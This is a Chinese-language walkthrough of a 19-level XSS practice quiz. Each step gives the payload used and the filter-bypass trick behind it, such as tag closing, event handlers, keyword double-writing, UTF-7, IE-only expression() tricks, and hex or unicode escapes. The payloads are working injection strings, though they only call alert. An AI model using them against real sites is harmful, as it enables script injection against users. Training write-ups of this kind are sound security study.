一个xss练手的小平台 http://xss-quiz.int21h.jp/
一共19关,每一关根据提示执行js : alert(document.domian);
直接插入测试
<script>alert(document.domain)</script>
直接插入测试,并没有弹框,查看源码,我们需要闭合标签
<script>alert(document.domain)</script>
修改payload测试,成功弹窗
"><script>alert(document.domain)</script>
提示输入点不止一处,抓包,修改p2参数为
<script>alert(document.domain)</script>
成功弹窗
老样子,抓包,发现隐藏参数p3,修改为
"><script>alert(document.domain)</script>
成功弹窗
修改 maxlength 的值,使用 payload 成功弹窗
"><script>alert(document.domain)</script>
使用payload发现 < > 被HTML实体编码
"><script>alert(document.domain)</script>
使用 引号 “ 闭合 添加标签属性,点击触发弹窗
" onclick=alert(document.domain)
与第六关类似,并且也过滤了双引号 无法闭合逃脱双引号
使用空格可以分隔属性,和第六关payload一样
" onclick=alert(document.domain)
输入URL:
在a标签中构造javascript协议,点击触发
javascript:alert(document.domain);
这一关需要使用 IE浏览器 将payload构造为 UTF-7编码 网上说 ie7 或 ie8 - - 本地测试都没有复现
payload
+/v8 +ACI- onmouseover=alert(d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in)+AD4-
所以直接简单粗暴
使用payload,domain被替换为空
" onclick=alert(document.domain)
双写绕过:
" onclick=alert(document.dodomainmain)
转义 script on... style
插入a标签绕过:payload中 script 中间插入	, ,空格等不可见字符对script进行分割,让正则匹配不到
"><a href="javascr	ipt:alert(document.domain);">12</a>
过滤了尖括号、双引号、空格
利用IE浏览器特性 反引号 ` 解析为引号 构造payload
``onmouseover=alert(document.domain);
同样,过滤了尖括号和双引号 再次利用IE浏览器,IE11无法执行,IE8测试通过
xss:expr/*XSS*/ession(alert(document.domain));
和上一关类似, 把url,script,eval,expression关键字都替换为了xxx。通过注释符号 \0 绕过 ie8测试通过
xss:expr\0ession(alert(document.domain));
xss:expr/**/ession(alert(document.domain));
js dom 环境 js 可解码 16、8等 进制 Unicode编码,环境转义了反斜杠 \ 双写绕过 构造payload
16进制编码 \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode编码 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
把\\x 替换成了\\\\x,js编码又不止16进制,还有八进制,unicode编码
使用Unicode编码绕过
Unicode编码 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
思路类似于宽字节注入,利用特殊字节吃掉双引号 抓包
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
本地IE6 未测试成功 console暴力过关
将每个字符的二进制最高位置为1,然后再转为16进制
"><script>alert(document.domain)</scirpt>
就转换为
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
网上说IE5 6 可行,本地IE6测试未复现成功
Twitter漏洞 在IE8 测试 未成功
#!javascript:alert(document.domain)
直接暴力 console,ok 成功模拟过关 ~